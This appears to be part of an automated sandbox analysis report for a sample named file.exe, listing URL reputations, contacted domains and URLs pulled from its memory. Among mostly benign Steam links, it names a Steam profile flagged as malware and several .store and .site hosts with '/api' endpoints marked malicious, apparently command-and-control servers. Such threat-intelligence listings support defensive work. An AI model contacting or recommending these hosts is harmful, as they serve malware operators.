https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://login.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	0%	URL Reputation	safe
https://recaptcha.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english	0%	URL Reputation	safe
https://help.steampowered.com/	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
http://store.steampowered.com/account/cookiepreferences/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	unknown
sergei-esenin.com	172.67.206.204	true	true	unknown
eaglepawnoy.store	unknown	unknown	false	unknown
bathdoomgaz.store	unknown	unknown	false	unknown
spirittunek.store	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
studennotediw.store	unknown	unknown	false	unknown
mobbipenju.store	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
studennotediw.stor	true		unknown
mobbipenju.stor	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
bathdoomgaz.stor	true		unknown
dissapoiznw.stor	true		unknown
spirittunek.stor	true		unknown
eaglepawnoy.stor	true		unknown
clearancek.site	true		unknown
licendfilteo.site	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001645000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702793465.0000000001645000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.valvesoftware.com/legal.htm	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clearancek.s	file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bathdoomgaz.store:443/apii	file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/points/shop/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sketchfab.com	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://lv.queniujq.cn	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com:443/api	file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/j	file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic	file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/apij	file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/market/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/news/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://licendfilteo.site:443/apibcryptPrimitives.dll	file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dissapoiznw.store:443/api	file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/discussions/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=9yzMGndrVfY4&l=e	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/stats/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://medal.tv	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/steam_refunds/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com:443/profiles/76561199724331900y	file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.steampowered.com/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mobbipenju.store:443/api	file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
